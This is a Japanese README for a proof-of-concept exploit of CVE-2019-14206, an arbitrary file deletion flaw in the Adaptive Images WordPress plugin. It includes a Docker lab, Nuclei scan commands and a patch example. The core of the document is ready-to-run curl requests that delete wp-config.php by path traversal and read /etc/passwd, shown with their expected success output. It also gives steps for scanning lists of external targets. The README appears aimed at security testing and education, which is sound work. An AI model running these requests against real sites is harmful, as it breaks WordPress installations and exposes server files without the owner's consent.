
CVE-2019-14206の概念実証エクスプロイト。Adaptive Images WordPressプラグインにおける任意のファイル削除を実証します。Docker lab、Nucleiテンプレート、セキュリティ教育と検証のための手動テストスクリプトを含みます。
この脆弱性により、リモートの認証されていない攻撃者が、Adaptive Images プラグインを悪用して WordPress サーバー上の 任意のファイルを削除 できます。
// プラグインはユーザー入力をサニタイズせずに使用
$settings = $_REQUEST['adaptive-images-settings'];
// 攻撃者が制御するパラメータでファイルパスを構築
$cache_file = $wp_content . '/' . $cache_dir . '/' . $resolution . $request_uri;
// 任意のファイルをDELETE
unlink($cache_file);
# Nucleiの確認
nuclei --version
# Bashの確認
bash --version
# curlの確認
curl --version
# PHPの確認 (オプション)
php --version 2>/dev/null || echo "PHPが利用できません (オプション)"
# nuclei-templates ディレクトリにいる場合
cd /Volumes/Codingsh/experimentos/nuclei-templates
# または必要なファイルをダウンロード
git clone https://github.com/projectdiscovery/nuclei-templates.git
cd nuclei-templates
# ファイルが存在するか確認
ls -la http/cves/2019/CVE-2019-14206.yaml
ls -la cve-2019-14206-poc/
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
chmod +x docker-test.sh
chmod +x docker-test-full.sh
chmod +x vulnerability-demo.sh
chmod +x local-test.sh
chmod +x real-target-test.sh
エクスプロイト全体をシミュレートする完全デモを実行します:
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
./docker-test.sh
実行内容:
期待される出力:
[🎉] SUCCESS: wp-config.php DELETED!
[!!!] WORDPRESS SITE IS NOW BROKEN!
✅ Vulnerability: CVE-2019-14206 confirmed
✅ Template Status: Production ready
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
# Dockerが実行中のとき
docker-compose up -d
# Dockerが実行されていない場合は、シミュレーターを使用
./docker-test-full.sh
# 環境は以下で利用可能
# http://localhost:8888
# vulnerable スクリプトが存在するか確認
curl http://localhost:8888/wp-content/plugins/adaptive-images/adaptive-images-script.php
# LFIテスト
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"
# ファイル削除テスト
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"
# wp-config.phpが削除されたか確認
ls -la /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test/wp-config.php
# ターゲットファイルを作成
cat > targets.txt << 'EOF'
http://localhost:8888
https://target-wordpress-site.com
EOF
# 基本スキャン
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt
# 詳細スキャン
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -v
# デバッグ付きスキャン (バウンティには必須)
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -debug
# 結果を保存
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -o results.txt
# 結果を確認
cat results.txt
# 陽性の場合は以下が表示:
# [CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test
php -S localhost:8888
# /etc/passwdの読み取りを試行
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"
# wp-config.phpの読み取りを試行
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../wp-config.php"
期待される出力 (LFI):
=== CVE-2019-14206 Vulnerability Test ===
[*] Settings received:
source_file = /etc/passwd
...
[*] Cache file: /var/www/html/wp-content/ai-cache/1920/etc/passwd
[*] Source file: /etc/passwd
# 削除前にwp-config.phpが存在するか確認
ls -la wp-config.php
# エクスプロイトを実行
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"
# 削除後にwp-config.phpが存在するか確認
ls -la wp-config.php
期待される出力 (ファイル削除):
[+] SUCCESS: Arbitrary file deletion vulnerability confirmed!
[+] Target file deleted: ./../../..//wp-config.php
[CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
http://target-wordpress-site.com/wp-content/plugins/adaptive-images/adaptive-images-script.php
Matchers matched:
- Plugin detected
- LFI vulnerability confirmed
- Arbitrary file deletion possible
[N/A] No results found
# Docker環境を削除
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
docker-compose down -v 2>/dev/null
# テストファイルを削除
rm -rf docker-test/
rm -f targets.txt results.txt
# wp-config.phpが削除された場合は復元
cat > wp-config.php << 'EOF'
<?php
// 復元されたファイル
define('DB_NAME', 'wordpress');
EOF
# スキャン結果を削除
rm -f results.txt
# キャッシュをクリア (オプション)
nuclei -rm-cache
# Nucleiをインストール
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# またはバイナリをダウンロード
wget https://github.com/projectdiscovery/nuclei/releases/download/v3.0.0/nuclei-linux-amd64.zip
unzip nuclei-linux-amd64.zip
chmod +x nuclei
sudo mv nuclei /usr/local/bin/
# ファイルが存在するか確認
ls -la http/cves/2019/CVE-2019-14206.yaml
# YAML構文を確認
python3 -c "import yaml; yaml.safe_load(open('http/cves/2019/CVE-2019-14206.yaml'))"
# 絶対パスを使用
nuclei -t /Volumes/Codingsh/experimentos/nuclei-templates/http/cves/2019/CVE-2019-14206.yaml -u http://target
# ポートを確認
lsof -i :8888
# 別のポートを使用
php -S localhost:9999
# PHPがインストールされているか確認
which php
php --version
# Dockerのステータスを確認
docker ps
# Dockerを起動
# macOS: Docker Desktopを開く
# Linux: sudo systemctl start docker
# シミュレーターモードを使用 (Dockerなしで動作)
./docker-test-full.sh
プラグインの更新:
WordPressダッシュボード > プラグイン > Adaptive Images を更新
安全なバージョン: >= 0.6.67
脆弱なプラグインの削除:
rm -rf wp-content/plugins/adaptive-images/
// ✅ 安全なコード (修正例)
function adaptive_images_script_get_settings() {
// 入力をサニタイズ
$allowed_keys = ['cache_dir', 'resolution', 'request_uri'];
$settings = [];
foreach ($allowed_keys as $key) {
if (isset($_REQUEST['adaptive-images-settings'][$key])) {
$settings[$key] = sanitize_text_field($_REQUEST['adaptive-images-settings'][$key]);
}
}
return $settings;
}
function adaptive_images_delete_stale_cache_image($source_file, $cache_file, $resolution) {
// パスを検証
$allowed_cache_dirs = ['ai-cache', 'adaptive-cache'];
$cache_dir = basename(dirname($cache_file));
if (!in_array($cache_dir, $allowed_cache_dirs)) {
return false; // 無効なパスを拒否
}
// 検証済みの絶対パスを使用
$cache_file = WP_CONTENT_DIR . '/ai-cache/' . basename($cache_file);
if (file_exists($cache_file)) {
unlink($cache_file);
}
}
この資料は教育目的およびセキュリティテストの目的に限定して提供されます。
著者および貢献者は、以下について一切の責任を負いません:
実際のシステムでこの脆弱性を発見した場合:
このプロジェクトは以下を示しています:
貢献を歓迎します!貢献するには:
git checkout -b feature/improvement)git commit -am 'Add improvement')git push origin feature/improvement)質問や問題がある場合:
🎉 このテスト資料をご利用いただきありがとうございます!
大いなる力には大いなる責任が伴うことを忘れないでください。この知識をインターネットをより安全にするために使い、脆弱性を増やすために使わないでください。
作成日: 2026年1月4日
バージョン: 1.0.0
ステータス: ✅ 本番環境で使用可能